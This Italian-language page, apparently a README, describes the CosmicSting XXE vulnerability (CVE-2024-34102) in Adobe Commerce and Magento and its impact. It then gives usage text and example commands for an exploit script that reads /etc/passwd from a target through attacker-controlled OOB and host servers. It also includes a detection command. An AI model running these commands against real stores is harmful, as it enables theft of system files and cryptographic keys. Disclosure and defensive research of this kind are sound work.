
CosmicSting: vulnerabilità XXE critica non autenticata in Adobe Commerce e Magento (CVE-2024-34102)
La CVE-2024-34102 è una grave falla di sicurezza derivante dalla gestione impropria della deserializzazione annidata in Adobe Commerce e Magento. Questa vulnerabilità consente agli attaccanti di sfruttare le entità esterne XML (XXE) durante il processo di deserializzazione, potenzialmente consentendo l'esecuzione remota di codice. In breve, gli attaccanti possono creare payload JSON dannosi che, una volta deserializzati dall'applicazione, istanziano oggetti con proprietà o comportamenti non desiderati. Ciò può comportare vari rischi per la sicurezza.
Lo sfruttamento di questa vulnerabilità consente agli attaccanti di ottenere un accesso amministrativo non autorizzato alle API REST, GraphQL o SOAP, portando potenzialmente a furto di dati, interruzione del servizio e compromissione totale dei sistemi interessati. Questa vulnerabilità rappresenta un rischio significativo grazie alla sua capacità di esfiltrare file sensibili, come app/etc/env.php, contenenti chiavi crittografiche utilizzate per l'autenticazione. Gli attaccanti possono sfruttarla per forgiare token di amministratore e manipolare le API di Magento come utenti privilegiati.
Inoltre, la CVE-2024-34102 può essere concatenata con altre vulnerabilità, come l'exploit delle catene di filtri PHP (CVE-2024-2961), portando all'esecuzione remota di codice (RCE). Le implicazioni più ampie delle vulnerabilità delle entità esterne XML (XXE) consentono agli attaccanti di recuperare e manipolare dati da fonti esterne, aggravando il potenziale impatto sui sistemi compromessi.
usage: exploit.py [-h] --target TARGET --read-file READ_FILE [--oob-server OOB_SERVER] [--host-server HOST_SERVER]
Exploit script for XXE vulnerability
options:
-h, --help show this help message and exit
--target TARGET, -t TARGET
Target URL (http(s)://ip[:port])
--read-file READ_FILE, -r READ_FILE
File to read from the remote host
--oob-server OOB_SERVER, -ob OOB_SERVER
OOB server URL (http(s)://ip[:port])
--host-server HOST_SERVER, -hs HOST_SERVER
Host server URL (http(s)://ip[:port])
Esempi
# Run with local attacker server and local OOB server
python3 exploit.py -t https://magento.test -r "/etc/passwd"
# Run with remote attacker server and remote OOB server
python3 exploit.py -t https://magento.test --oob-server http://xxx.oasitfy.com --host-server https://remote-attacker-server.com -r "/etc/passwd"
# Detection
python3 detect.py -t https://magento.test
Questo script di exploit è stato creato esclusivamente per scopi di ricerca e per lo sviluppo di tecniche difensive efficaci. Non è destinato a essere utilizzato per attività dannose o non autorizzate. L'autore e il proprietario dello script declinano qualsiasi responsabilità per usi impropri o danni causati da questo software. Gli utenti sono invitati a utilizzare questo software in modo responsabile e solo in conformità con le leggi e le normative applicabili. Utilizzare in modo responsabile.